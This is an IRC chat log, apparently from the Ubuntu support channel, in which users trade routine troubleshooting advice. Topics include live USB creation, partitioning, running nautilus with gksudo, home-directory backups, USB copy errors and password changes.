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rikybuduscript_3786_2808.tar.gz22:41
bekksBen64: And, in addition, dd disrespects alignings.22:41
babilenbekks: That is one reason why one doesn't use dd, but cp or cat22:41
bekksBen64: So, generically, it IS a "bad" idea.22:41
Ben64no, it's fine22:41
bekksbabilen: Correct. :)22:41
babilen(it's awkward and error prone syntax is yet another reason)22:42
bekksBen64: Then you dont mind to share how you can get dd to respect the aligning, dont you?22:42
Ben64because now flash drives have cylinders?22:42
bekksBen64: You havent understood how a flash drive works, totally.22:43
Ben64how about instead of arguing, you tell him how to do it then, if you're so awesome22:43
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bekksVivekananda: You can use unetbooting for creating your liveusb device. Or you can manually do all those steps.22:45
Vivekanandaso what are my choices guys. Ben64 suggests dd but I am looking for something which gets me the lts 12 core on a 1 gb drive22:45
bekksVivekananda: Just use unetbootin.22:45
Vivekanandabekks: I have lucid running on my system now so it is only 10.04. I want to download version 12.04 lts then use the iso to create the usb but fit it in 1 gb usb. Which iso should I download ?22:46
bekksVivekananda: Using unetbooting, you can just select it in a drop down menu. Or you can just download the 12.04 iso.22:47
Ben64https://lists.ubuntu.com/archives/ubuntu-devel/2011-June/033495.html22:47
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SonikkuAmericaVivekananda: Why not just use the update manager to go to precise?22:48
SixtyFoldis there a repository to install with more fonts?22:48
SixtyFoldlike the actualy TERMINAL font?22:48
SonikkuAmericaSixtyFold: There's ttf-mscorefonts-installer22:49
erictr1ckwhat is the best way to check the uptime or last restart of apache?22:49
SonikkuAmericaVivekananda: [ update-manager -c ] is the best way, unless you're switching architectures.22:50
SonikkuAmerica(SolarisBoy? Do you actually use Solaris?)22:51
VivekanandaSonikkuAmerica: I will do that but two reasons. first I need that live for repartitioning my age old computers hard drive. Second I want to use it later to install the OS on other systems and I find it very handy even if there is not internet at placces22:51
bekkserictr1ck: You have to check the logs.22:51
topper4125erictr1ck: http://www.linuxquestions.org/questions/linux-software-2/how-to-see-the-uptime-of-apache-httpd-server-931046/22:51
SonikkuAmericaVivekananda: OK, that's reasonable.22:51
SonikkuAmericaVivekananda: If you're using a USB stick, the best way to deploy it from Ubuntu is to run Startup DIsk Creator.22:52
VivekanandaSonikkuAmerica: Please look at this  and tell me . Can I add the unformatted space to the root / somehow ?http://imagebin.org/24763922:52
VivekanandaSonikkuAmerica: I know that but is somehow always gives me errors22:52
magn3tssure, move home to the right, expand / to take up the free space that is then next to it22:52
SonikkuAmericaVivekananda: Are we talking /dev/sda3?22:53
magn3tsthere's a gig of unallocated space22:53
BillyZane2hi, my computer is running rather slowly and I don't know why. My ram useage is low, my CPU usage is low, however, things take a long time to load, as if the ram was fill. Take for example xchat, when I click on it, it takes about 1 second to refresh the screen. it should be instantaneous22:53
magn3tsI assume that's what he meant22:53
erictr1ckbekks, topper4125, thanks!22:53
BillyZane2my uptime is only about 6 days22:54
BillyZane2i'm running the xubuntu-desktop interface22:54
BillyZane2however, i am running ubuntu 12.1022:54
SonikkuAmericaBillyZane2: Do you have swap space? (Do you know if you have swap space?)22:55
VivekanandaSonikkuAmerica: nope. I am talking about " unallocated" below dev/sda622:56
SonikkuAmericaVivekananda: But you want to add it to /dev/sda3 if I'm not mistaken, right?22:57
arno_Hi, on my server, I have ufw which enables ssh with limit (ie: if there is more 6 connections opened in a minute, the ip is blocked). I wonder if adding fail2ban is useful or if it is redundant22:59
ephremhello every body - i have ubuntu 12.04 on my dell inspiron 6400 ... when i installed it everything was working fine - but after i made system update , i cant copy anything to any external USB .. any help please23:00
nyuszika7hhi, I installed Kubuntu with Wubi, it got stuck at the KDE boot screen (after Plymouth, I think), I did sudo reboot from tty1 and now I'm gettingL23:00
nyuszika7h*:23:00
usuariohola, alguien que hable español?23:00
bekks!es | usuario23:00
ubottuusuario: En la mayoría de los canales de Ubuntu, se habla sólo en inglés. Si busca ayuda en español entre al canal #ubuntu-es; escriba "/join #ubuntu-es" (sin comillas) y presione intro.23:00
nyuszika7hThe selected partition (partition 1 of /var/lib/partman/devices/=dev=sda) already contains the following file system images: /ubuntu/disks/root.disk. Please uninstall these before trying again,23:01
nyuszika7hNo root file system is defined. Please correct this from the partitioning menu.23:01
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VivekanandaSonikkuAmerica: yes23:01
VivekanandaSonikkuAmerica: no no sorry . I want to add it to the dev/sda523:02
SonikkuAmericaVivekananda: Impossible unless you get rid of sda6 first.23:02
VivekanandaSonikkuAmerica: fortunately I can do that :)23:02
Vivekanandaso will try it now23:02
nyuszika7hwell, I have to go to sleep. I'll get back to this tomorrow.23:05
VivekanandaBut I still need that external booting to do all this :(23:05
ephremhello every body - i have ubuntu 12.04 on my dell inspiron 6400 ... when i installed it everything was working fine - but after i made system update , i cant copy anything to any external USB .. any help please23:05
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nyuszika7hephrem: dmesg | pastebinit23:08
nyuszika7h!pastebinit23:08
ubottupastebinit is the command-line equivalent of !pastebin - Command output, or other text can be redirected to pastebinit, which then reports an URL containing the output - To use pastebinit, install the « pastebinit » package from a package manager - Simple usage: command | pastebinit -b http://paste.ubuntu.com23:08
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VivekanandaSonikkuAmerica: you still around ?23:08
SonikkuAmericaYep23:08
Vivekanandayou name somehow reminds me of India. Are you from there by any chance :)23:09
nyuszika7hsomeone else can hopefully help you, ephrem. I have to go now.23:09
BillyZane2i fixed my slow down problem. it was chromium. closing it out completely did the job23:09
SonikkuAmericaWhat? Me? No - I'm from America, like my nick says23:09
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ephremhello every body - i have ubuntu 12.04 on my dell inspiron 6400 ... when i installed it everything was working fine - but after i made system update , i cant copy anything to any external USB .. any help please23:09
Vivekanandakk :). I think I will create live cd on my larger pen drive then :(. It has sensitive data on it23:10
BillyZane2SonikkuAmerica: sorry for disappearing. i do not have swap space. i was told 16gb of ram would be enough to not require it. it was chromium, i closed it. the computer sped up23:10
BillyZane2so weird23:10
VivekanandaI was trying to do a fresh install earlier but got an error for gnomoe for my system23:11
BillyZane2cpu resources were not being used, ram use was low. yet my computer was still acting very sluggish. as if there was huge latency23:11
SonikkuAmericaBillyZane2: Weird. I prefer Google Chrome itself over Chromium any day of the week and twice on Sundays.23:12
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ephremhello every body - i have ubuntu 12.04 on my dell inspiron 6400 ... when i installed it everything was working fine - but after i made system update , i cant copy anything to any external USB .. any help please23:15
plustaxFor galaxy nexus. Where23:19
plustaxWhere is it23:19
plustaxDo want23:19
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VivekanandaSonikkuAmerica: I use grsync or rsync as the back up . I want to create a complete backup of the home but if I run grsync it skips the folders which have root permission23:20
k1l_!phone | plustax23:20
ubottuplustax: Ubuntu for phone has been announced, see http://www.ubuntu.com/devices/phone to find out more and to sign up for progress updates. Discussion is in #ubuntu-phone23:20
plustaxk1l_: its supposed to have released at 3pm today23:21
VivekanandaIf i however do sudo grysync then will the normal folders get setup for so only root can open it ?23:21
k1l_plustax: read the message again, the bot gave you :)23:21
GuidoPallemansa dev release is at https://wiki.ubuntu.com/Touch?action=show&redirect=UbuntuPhone23:22
VivekanandaIf then I restore and do a chmod -R it willl make all the folders open . How do I do this ?23:22
ephremhello every body - i have ubuntu 12.04 on my dell inspiron 6400 ... when i installed it everything was working fine - but after i made system update , i cant copy anything to any external USB .. any help please23:23
Vivekanandaephrem: is you system mounting the usb?23:25
ephremyes23:25
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ephremVivekananda :  yes23:26
ephremVivekananda :  is mounting23:26
ephremVivekananda :  but i cant copy any thing to it23:27
angsI need to open nautilus as root: I type nautilus on the terminal but it outputs ** (nautilus:10112): WARNING **: Could not open X display23:27
angsis there another way to open nautilus as root?23:27
Vivekanandahmm and you are sure it is working normally on another system ?23:27
k1l_angs: i really dont recommend running nautilus with root rights. but if you want to do it type"gksu nautilus". but be aware of not breaking things23:28
djmitcheI've got some trouble with kickstarting - https://bugzilla.mozilla.org/show_bug.cgi?id=843847 - tl;dr is that kickstart seems to use the default (Ubuntu) repos for at least some installs, so packages get installed on my system during kicstart which then aren't available later23:29
ubottuMozilla bug 843847 in Server Operations: RelEng "Ubuntu kickstart uses ubuntu servers, even when told not to" [Normal,New]23:29
djmitcheis this known? a bit of googling didn't find me any relevant bugs or anything23:29
djmitchewow, nice bot :)23:29
angsk1l: have you ever experienced such error http://pastebin.com/diwJ90yr ?23:30
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k1l_angs: nooo. dont do that23:30
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k1l_angs: dont use the root account in ubuntu. use sudo (or gksu for gui)23:31
k1l_angs: i think you already broke some data rights in your /home23:31
angsk1l_: I I cannot open it on the terminal. is there another way to open nautilus as root23:33
k1l_angs: logout. dont use the root account23:33
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k1l_angs: type: "gksu nautilus" as your regular user23:33
lunitikangs: gksudo nautilus23:34
lunitikgksu is a frontend for su23:34
tozenexit23:34
k1l_lunitik: you are right23:34
lunitikangs: you probably want 'gksudo nautilus &' so it keeps running without having the terminal open23:35
angsthank you lunitik23:35
ephremhello every body - i have ubuntu 12.04 on my dell inspiron 6400 ... when i installed it everything was working fine - but after i made system update , i cant copy anything to any external USB .. any help please23:37
gbyers[Away]brb23:38
angsI would like to copy all directories and files under /home/user/my_dir to /mnt/mmc (mounted file). what cp flag do I need to use cp ??? /home/user/my_dir /mnt/mmc?23:39
Lynxxhello does anyone know how to increase the launcher size on the panel in KDE running on ubuntu 12.10?23:40
ephremhello every body - i have ubuntu 12.04 on my dell inspiron 6400 ... when i installed it everything was working fine - but after i made system update , i cant copy anything to any external USB .. any help please23:43
ephremhello every body - i have ubuntu 12.04 on my dell inspiron 6400 ... when i installed it everything was working fine - but after i made system update , i cant copy anything to any external USB .. any help please23:45
SonikkuAmericaephrem: [ lsusb ] in a terminal23:46
luxbodNew to this23:46
zimzum_any one here?/23:46
g_byersyes23:47
g_byersyes23:47
Bray90820anyone wanna help me everyt ime i plug/unplug from my netbook the dell insperon duo i get a kernel panic23:47
luxbodyeah23:47
bzilyo23:47
luxbodok23:47
ephremSonikkuAmerica: i did - what else23:47
Naphatulwhat's the official way of installing ATI drivers in 12.10 ?23:48
SonikkuAmericaephrem: Is it listed?23:48
zimzum_i gunna try to dual boot off of flash drive, when i download the iso put on my win desktop, of on the stick??23:48
luxbodwhat is this site all about23:48
gryfftGot a weird one, guys.23:48
ephremSonikkuAmerica: no23:49
gryfftUsing passwd to change my password. Works for a few minutes then reverts.23:49
gryfftNo clue why that'd happen.23:49
luxbodWhat is this site all about ? anyone here23:50
gryfftI'm gonna give it one more shot and see what happens.23:50
Naphatuli don't have 'additional drivers23:50
Naphatulin my settings23:50
zimzum_luxbod  i hoping this is help23:50
luxbodOkay23:51
compdocgryfft, after you change the password, are you logging out then back in?23:51
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gryfftcompdoc: It's now not even changing it at all, despite the 'Password changed successfully' message.23:52
gryfftI've rebooted twice.23:52
zimzum_i wanna run ubuntu, i need moar help23:52
Naphatulno one?23:52
luxbodHOW can i run this application on my system ?23:53
Jordan__When attempting to install Ubuntu I am unable to affect partions, it just shows an error, for the record this is an unpartitioned drive23:54
gryfftSee gist here: https://gist.github.com/anonymous/5009574 That's the normal output for passwd when password's successfully changed.23:54
gryfftBut... it's not changing.23:54
k1l_!irc | luxbod23:55
ubottuluxbod: A list of official Ubuntu IRC channels, as well as IRC clients for Ubuntu, can be found at https://help.ubuntu.com/community/InternetRelayChat - For a general list of !freenode channels, see http://freenode.net/faq.shtml#channellist - See also !Guidelines23:55
Naphatulgryfft: what password are you trying to change?23:55
gryfftNaphatul: Root password.23:55
belakAnyone know if canonical offers internships? I've been looking around their site and I can't find anything.23:55
Bray90820anyone wanna help me everyt ime i plug/unplug from my netbook the dell insperon duo i get a kernel panic23:55
Scarberiancarberian23:55
Scarberianhrmm23:55
luxbodokay thanks23:56
luxbodi think here is better then23:56
Scarberiancan someone give me advice. How does one go about replacing compiz for another wm in 12.10?23:56
zimzum_should i download the iso to win desktop then to flash stick?23:57
k1l_!install | zimzum_23:57
ubottuzimzum_: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall - Don't want to use a CD? See http://tinyurl.com/3exghs - See also !automate23:57
gryfftJust changed it through the gui and it seems to be working. Gonna reboot and see if it decided to stick this time.23:58
zimzum_ubottu thx, i see what i can do23:58
ubottuzimzum_: I am only a bot, please don't think I'm intelligent :)23:58
Vivekanandahello everyone. How do I make a back up of my /home to another location. using cp without sudo skips files. Using with sudo changes permissions of some of the copied folders to root ( cannot open file). If I do chmod then All files will ahve permissions removed including some which should have it !!23:59
SourceSlayerHeyo, I tried to do "echo $PYTHONPATH" but it justs doesn't print anything it's just blank.23:59
Naphatulso anyone got an idea why i don't have the 'additional software' thing in settings used for drivers? this is a fresh 12.10 install23:59
gryfft2It worked. Dunno why it didn't there.23:59
SourceSlayerWhy does this not print a list of directories?23:59

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